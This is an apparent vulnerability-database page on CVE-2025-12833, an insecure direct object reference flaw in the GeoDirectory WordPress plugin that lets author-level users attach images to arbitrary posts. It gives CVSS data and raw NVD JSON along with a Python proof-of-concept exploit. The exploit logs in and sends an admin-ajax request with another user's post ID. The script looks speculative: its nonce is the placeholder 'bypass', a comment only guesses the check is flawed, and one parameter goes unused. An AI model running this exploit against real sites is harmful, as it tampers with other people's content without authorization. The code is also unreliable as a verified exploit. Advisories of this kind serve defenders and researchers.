Security Vulnerability Report
中文
CVE-2025-12833 CVSS 4.3 MEDIUM

CVE-2025-12833

Published: 2025-11-12 05:15:42
Last Modified: 2026-04-15 00:35:42

Description

The GeoDirectory – WP Business Directory Plugin and Classified Listings Directory plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.8.139 via the 'post_attachment_upload' function due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with author-level access and above, to attach arbitrary image files to arbitrary places.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

GeoDirectory WordPress插件 <= 2.8.139
Classified Listings Directory插件 所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys from urllib.parse import urlencode # CVE-2025-12833 PoC - GeoDirectory IDOR Vulnerability # Target: WordPress site with GeoDirectory plugin <= 2.8.139 # Authentication required: Author-level user or higher def exploit_idor(target_url, username, password, target_post_id, attacker_post_id): """ Exploit IDOR vulnerability in GeoDirectory post_attachment_upload function Allows authenticated attackers to attach files to arbitrary posts """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url, 'testcookie': '1' } response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Prepare malicious file upload request # The IDOR vulnerability allows attaching files to arbitrary posts # by manipulating the post_id parameter upload_url = f"{target_url}/wp-admin/admin-ajax.php" files = { 'async-upload': ('malicious.jpg', b'\xFF\xD8\xFF\xE0\x00\x10JFIF', 'image/jpeg') } # IDOR payload: target arbitrary post_id instead of attacker's own post data = { 'post_id': target_post_id, # IDOR: Can be any post ID 'action': 'post_attachment_upload', '_wpnonce': 'bypass', # Nonce validation may be flawed 'user_id': '1' } # Step 3: Send exploit request response = session.post(upload_url, data=data, files=files) if response.status_code == 200: print(f"[+] File attachment request sent to post ID: {target_post_id}") print("[+] Check if file was attached to target post") return True else: print(f"[-] Request failed with status: {response.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 6: print("Usage: python cve-2025-12833.py <target_url> <username> <password> <target_post_id> <attacker_post_id>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] target_id = sys.argv[4] attacker_id = sys.argv[5] exploit_idor(target, user, pwd, target_id, attacker_id)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12833", "sourceIdentifier": "[email protected]", "published": "2025-11-12T05:15:41.940", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The GeoDirectory – WP Business Directory Plugin and Classified Listings Directory plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.8.139 via the 'post_attachment_upload' function due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with author-level access and above, to attach arbitrary image files to arbitrary places."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://github.com/AyeCode/geodirectory/commit/db655b04be32a160c0abf73217faf0a50585aa92", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3393024%40geodirectory&new=3393024%40geodirectory&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/geodirectory/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/408f0c2a-ef3c-4592-8722-d56afce92e24?source=cve", "source": "[email protected]"}]}}